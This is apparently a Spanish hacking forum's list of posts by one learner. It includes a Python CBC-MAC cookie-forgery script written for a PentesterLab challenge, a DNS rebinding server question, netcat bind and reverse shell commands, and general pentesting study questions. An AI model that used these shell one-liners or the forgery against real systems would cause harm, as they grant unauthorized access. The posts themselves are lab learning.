Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - retr02332

#1
Estoy haciendo un reto en pentesterlab. Lastimosamente no puedo pasar el link (creo, la verdad no se si se pueda hacer esto). Así que procederé a explicar mi duda sin mas, lo mas claro posible.

Código (python) [Seleccionar]
from Crypto.Util.strxor import strxor
import requests
import base64

DOMAIN = "http://ptl-xxxxxxxx-xxxxxxxx.libcurl.so/"

def data2bin(data):
   bytearray_ = bytearray(data.decode("latin-1"), "utf8")
   binaryArray = [bin(byte_).strip("0b").zfill(8) for byte_ in bytearray_]

   return "".join(binaryArray)

def getCookie(domain, endpoint, username):
   response = requests.post(domain+endpoint, data={"username":username, "password":"Password1"}, allow_redirects=False)
   return (username, response.headers["Set-Cookie"].split("=")[1])

username1 = b"administ"
username2 = b"rador\x00\x00\00"

cookie1 = getCookie(DOMAIN, "login.php", username1)[1].replace("%3D", "=").replace("%2B", "+")
decodeCookie1 = base64.b64decode(cookie1)
signature1 = ( decodeCookie1.decode("latin-1").split("--")[1] ).encode()

cookie2 = getCookie(DOMAIN, "login.php", username2)[1].replace("%3D", "=").replace("%2B", "+")
decodeCookie2 = base64.b64decode(cookie2)
signature2 = ( decodeCookie2.decode("latin-1").split("--")[1] ).encode()

padding = b"\x00" * (len(signature1)-len(username2))
badUsername = strxor(signature1, username2+padding) # creo que el error es que el nullbyte deberia ser de 3 bytes
#print(badUsername)
#print(strxor(badUsername, signature1)) (HAY 4 BYTES DE MAS, PERO COMO SON NULL NO DEBERIA INTERPRETRARLOS COMO TAL)
#badUsername = strxor(data2bin(signature1), data2bin(username2))

badCookie = getCookie(DOMAIN, "login.php", badUsername)[1].replace("%3D", "=").replace("%2B", "+")
decodeBadCookie = base64.b64decode(badCookie)
badSignature = ( decodeBadCookie.decode("latin-1").split("--")[1] ).encode()

print("Bad Cookie => " + ( base64.b64encode(b"administrator" + b"--" + badSignature) ).decode() )


El reto consiste en ingresar a la web como el usuario administrador. Claramente no puedo registrarme con ese username.

Se sabe que el web usa CBC-MAC(username) como valor de la cookie de sesión.

La cookie de sesión tiene el siguiente aspecto: username--MAC(username), y esta codificada en base64.

OJO: La web usa un NULL IV para el primer bloque de cifrado.

La vulnerabilidad creo que tiene que ver con los mensajes de longitud variable. Lo que he entendido mas o menos es lo siguiente:

Si tenemos un mensaje M1 de 8 bytes, y tenemos un Y1 que es el resultado del respectivo XOR: Y1 = NULL_IV ⊕ M1. Entonces tenemos un  MAC que sera calculado de la siguiente manera:
MAC(Y1)
. Llamemos al resultado del MAC anterior C1.

Entonces a partir de esto, yo deseo forzar alguna cadena antes de que esta sea cifrada, llamemos a esta cadena Y2. Tenga en cuenta que el M1 ya se proceso y ahora se procesara el segundo bloque de cifrado para un M2.

Por lo tanto si queremos forzar un Y2 de nuestro gusto, tan solo tendríamos que hacer:

C1 ⊕Y2 = M2 (aquí obtenemos un mensaje que cuando entre al algoritmo CBC-MAC, generara el Y2 que queremos)

De ese modo cuando le pasemos el M2 al algoritmo CBC-MAC normalmente obtendremos:

M2 ⊕ C1 = Y2 (obtenemos el Y2  que deseábamos)


Por lo tanto, considero que la cadena administrador fue dividida en 2 partes

       * administ                  (8 bytes block)
       * rador\x00\x00\x00  (8 bytes block)


El algoritmo nos dice que el primer bloque se XOR con un NULL IV, pero el segundo bloque se XOR con el C1 del primer bloque.

Por lo tanto si cambiamos el mensaje cambiaremos la firma y es por esto que se toma el ultimo bloque de CBC como MAC. Pero aquí es donde entra lo que dije antes.

Me logeo como administ y recibo un ciphertext que es C1 para ese primer bloque, luego hago rador\x00\x00\x00 ⊕ C1 = Y2 (los byte null es para tener un bloque exacto de 8 bytes)

Entonces creo que lo que debo hacer ahora es juntar administ + Y2 y enviarlo como un username.

Ahora ese Y2 nos servira como mensaje ya que cuando ese Y2 entre al algoritmo CBC-MAC, obtendremos:

Y2 ⊕ C1 = rador\x00\x00\x00 (Aparentemente la misma firma que el usuario administrador)

Según he leído esto hará que tengamos un MAC igual al de administrador y podamos entrar como si fuéramos el.

No entiendo como es que el MAC del username es el correspondiente cifrado de rador\x00\x00\x00, sabiendo que a nivel de backend, esto no es posible porque el segundo bloque no se XOR con un NULL IV, si no con el texto cifrado del bloque anterior C1, por ende es un tanto extraño.

No se si me equivoque en algo. Agradecería me ayudaran a entender este fallo mejor y así poder completar el laboratorio :"D


Si necesitan el link del laboratorio me escriben al DM, entiendan que ese link no es publico y es para evitar implicaciónes legales :"D
#2
Hola a todos

Estoy intentando hacer un servidor DDNS en python sencillo, para probarlo contra un reto en internet de DNS rebinding.

Después de días de investigación pude entender la vuln, pero no he podido configurar un ddns propio usando dnslib en python3 (no tienen una documentación de la libreria)

A continuación les explicare los problemas que tengo:

1. Tengo un código de ejemplo en internet el cual ya logre entender pero no cumple mis expectativas ya que lo que quiero lograr es que este responda con un ip en especifico ante una consulta en especifico no para cualquier dominio, para ello he configurado el server a la escucha en el puerto 53 para que pueda filtrar las consultas entrantes pero no veo que esto tenga efecto cuando uso comandos como nslookup por ejemplo. (por cierto no se si tenerlo en el puerto 53 sea problema y pueda generar errores de algún tipo)

2. Tengo una vps en digital ocean en donde quiero que corra el programa, tengo un dominio inclusive y un servidor http para efectuar el ataque al reto que os comento. Pero lo que digo, no logro alterar la respuesta dns cuando se intenta resolver mi dominio.

Aquí les dejo aquel fragmento de código del que les hable en el punto #1:

Código (python) [Seleccionar]
from dnslib.server import *

class TestResolver:
   def resolve(self,request,handler):
       reply = request.reply()
       reply.add_answer(*RR.fromZone("abc.def. 60 A 1.2.3.4"))
       return reply

resolver = TestResolver()
logger = DNSLogger(prefix=False)
server = DNSServer(resolver,port=53,address="localhost",logger=logger,tcp=True)
server.start_thread()
q = DNSRecord.question("abc.def")
a = q.send("localhost",53,tcp=True)
print(DNSRecord.parse(a))
server.stop()
#3
Bugs y Exploits / Re: c++ sirve para el hacking?
5 Febrero 2021, 21:42 PM
Cita de: carameloso en 21 Julio 2020, 04:59 AM
Pregunta, ¿con c++ que tipo de exploit llego hacer? ¿es recomendable estudiar c++ paea see hacker?

Las vulnerabilidades no son mas que errores de programación o fallas lógicas de la aplicación.

Si quieres encontrar una vulnerabilidad en minecraft, este esta escrito en java por ejemplo... entonces como encontraras algo ahí si no sabes java?

Bueno lo mismo ocurre con la web, por el lado del frontend existe JS que es bastante útil sobre todo si te deseas dedicar al hacking web por ejemplo.

Así que volviendo a tu pregunta y complementando la de stringmanolo, como el dice... hay mucho software, sistemas operativos y demás que usan este lenguaje... por ende hay que saber c/c++ para encontrar un bug en ese tipo de entornos.

Ahora si te refieres a los exploits... pues ten primero en cuenta que hay varias rutas por donde colarse dentro del hacking, la gran mayoría de exploits web son con JS, por otro lado, en cuanto a hacking de sistemas... la gran mayoría de exploits de sistemas son hechos con c/c++... pero nada te detiene el hacerlo en un lenguaje como python por ejemplo... pues la lógica no cambia, solo la sintaxis.

Espero haberte ayudado, salu2
#4
Hola a todos

Bueno pasa que jugaba un poco con metasploitable 2. me encontraba investigando/estudiando, explotando y solucionando esta falla en dicho sistema. Pero me surgio una pequeña duda y es:

En las definiciones que lei decia que cualquier usuario podia ejecutar comandos sin loguearse, y en el mismo lugar mas abajo decia que para esto, al lado del comando debia especificar el comando y su contraseña. lo que ocasionaria otro problema.

La cosa es... al fin en cual creo? porque cunado lo experimente en esa maquina vulnerable no me registre en ningun momento. asi que esa es mi duda.

Muchas gracias
#5
Hacking / netcat, duda con el tipo de conexiones
16 Agosto 2020, 07:21 AM
Hola a todos.

Tengo una cierta duda con las bind y reverse shell.

(suponiendo kali como atacante y windows 7 como victima)

Conexion directa

windows 7: nc -lvvp 1234 -e cmd.exe
Kali: nc [IP-windows 7] 1234

Conexion reversa

Kali: nc -lvvp 1234
windows 7: nc [IP] 1234 -e cmd.exe

###################################################

Mis dudas son las siguientes:

pregunta 1.¿una conexion directa de windows a kali, es equivalente a una reversa siendo kali el puerto a la escucha?
Se que una conexion reversa es mejor a una directa por muchas cosas como evitar ser filtrado por el firewall, un cambio de ip inesperado por parte del NAT (o hasta del puerto, etc).

Teniendo eso claro, entonces... si windows se conecta a kali de forma directa, a la maquina windows 7...
pregunta 2. ¿tambien presentaria problemas al intentar conectarse conmigo por cosas como mi firewall y asi?

pregunta 3. ¿Asi que la diferencia entre ambos tipos de conexiones radica en quien tiene la bandera "-e shell"?.
¿Es esa entonces la diferencia entre ambos tipos de conexiones?, ¿sobre quien tiene el modificador "-e"?

Muchas gracias
#6
Hacking / Dudas generales de hacking etico
12 Agosto 2020, 02:15 AM
Hola a todos, tnego unas cuantas dudas que no s eme dio muy bien entender por google asi que aqui os traigo.

1. Cifrar archivo .db (cifrado simétrico en mi maquina) aunque las passwords estén hasheadas.

A lo que me refiero es que, por mas que tengo en una base de datos, cuentas con las contraseñas con algun tipo de hash (bcrypt ej.) sigue siendo necesario por ejemplo cifrar de forma simetrica el archivo .db en mi maquina o no es necesario?

2. ¿Puede explicarme mejor lo de la vulnerabilidad de transferencia de zona?

3. ¿Que es eso de lookup? siempre lo veo en todo lo que tiene que ver con DNS ya sea en el curso o recursos externos.

4. ¿Porque cuando configuramos TOR usamos una dirección de loopback (127.0.0.1) y no usamos una IP privada (192.168.0.12 ej.) ?. Lo digo ya que ambas hacen alusión a mi dispositivo (maquina).

Muchas gracias.
#7
Yo tambien estoy pasando por lo mismo justo justo ahora. Tal cual como mencionas me sucede. SI es bastante raro...
#8
Muchas gracias por tu respuesta, es muy completa.

Sin embargo solo me quedaron dos ultimas dudas:

en cuanto al punto 3: dices que estudiarlo todo al tiempo pero... ahora ando viendo redes, pentesting(las fases y todo eso (teoria-practica), c++. el empezar a aprender mas lenguajes o tecnologias. pienso que no alcanzaria a ser un experto en cada una sino mas bien saber de a pocos de cada una. (asi lo veo) pero en base a tu experiencia en realidad ves viable estudiar varias cosas a la vez?

en cuanto al punto 4: trato de programar mis herramientas en lo que puedo con bash y python (los que manejo mas, ya que c++ aun me lio con las librerias bastante). La cuestion es, lo de construir mis propios exploits. Esta claro que me faltan mas conocimientos para llegar a eso (por ahora sera usar los que hayan publicos pero mas importante saber como funcionan claramente) pero hay alguna guia de como elaborar un zero-day un exploit. que hay que considerar, seguir, o tener en cuenta a la hora de hacerlo..? y en que lenguajes se hacen mas.. c++, assembler? siempre he tenido esas dudas sobre desarrollo de exploits y que bueno que lo mencionaste.

Solo es eso, muchas gracias :D
#9
Hola a todos.

Pasa que ahora ando leyendo muchos libros, PDF's y haciendo cursos sobre hacking etico y pentesting.

Dado el caso se me plantearon unas cuantas dudas que espero me puedan ayudar a resolver aqui :D

ANTES DE LEER, POR FAVOR, NECESITO ESTAS RESPUESTAS PARA PROCEDER CON ESTE HERMOSO MUNDO, AYUDENME A SUPERAR ESTAS PREGUNTAS :'V

Las dudas son las siguientes:

1. "el orden es fundamental en todo pentester", escucho mucho esa frase... Y me pregunto sobre ¿que plataforma es mejor, o cual es la mas usada para administrar la informacion que vamos recolectando en las primeras dos fases del pentesting y como deberia organizarla?

2. Veo que en muchos cursos o libros primeramente nos guian en la primera fase (footprinting), y luego de repente se pasa a (fingerprinting -enumeracion activa) pero se me hace muy raro ya que... nmap por ejempĺo veo que lo usan en la red donde estoy (local) por lo que supongo que con la informacion que haya recolectado en footprinting ya debia haber evaluado y vulnerado la red victima para proceder con los escaneos de nmap u otros? o que se supone que deberia pasar despues de tener la informacion de manera pasiva y encontrar vulnerabilidades con por ejemplo... shodan.

en sintesis: ¿como es ese paso entre footprinting y fingerprinting o como se supone que deberia ser?

3. Me encuentro practicando C++, (ya manejo python) este lenguaje c++ es mas denso claramente por lo que requiere mucha entrega... pero pasa que en otdo lo que veo sobre practicar en internet ataques web consideran estudiar o saber lenguajes como php, sql, html, y demas... entonces, ¿sigo estudiando c++ o mejor por ahora me inclino por la web y luego retomo c++?

4. por ultimo, he buscado en internet paginas web para auditar, la cosa es que en lo corrido del curso, he aprendido a usar plataformas como ipv4info, robtex, whois, dnsdumpster, shodan, zoomeye, google hacking y bueno unas cuantas mas para tener informacion sobre la infraestructura como tambien posibles vulnerabilidades con shodan o recon-ng. La cosa es que las VM que me encuentro son para atacar un sistema pero no una web como yo quisiera, es decir. Para poder sacar los rangos de red y todo ese proceso como si fuera una auditoria web  real. no se si me entienden..

en sintesis: ¿Donde puedo practicar no solo hacking a sistemas como tal (vm vulnerables como metasploitable) sino que mas bien auditar paginas web. en el sentido de la palabra como les conte. lo mas realista posible para practicar.  COmo sacar lso rangos de red, ver si hay lekas en las cuentas de la empresa, analizar con google hacking la informacion de los empleados. si esto no es posible en un modo prueba (para practicar) al menos que no sea como metasploitable que es solo scanear con nmap (u otras) y demas (asi lo veo no se si estoy equivocado) me gustaria mas usar la fase de footprinting  y no saltarmela y empezar a enumerar como pasaria con vm's como metasploitbale. me entiendes mas ahora ?...
#10
Redes / Tipos de NAT 1,2, 3
16 Julio 2020, 21:59 PM
Hola a todos

Pasa que estudiando sobre la NAT, me encuentro con que en consolas de juegos (no se si en otros dispositivos también), hay algo llamado NAT 1, NAT2, NAT3. Investigando en Internet no logro saber del todo cuales son sus diferencias y porque están presentes (usan/existen). Si alguien sabe agradezco la ayuda :D.

Muchas gracias.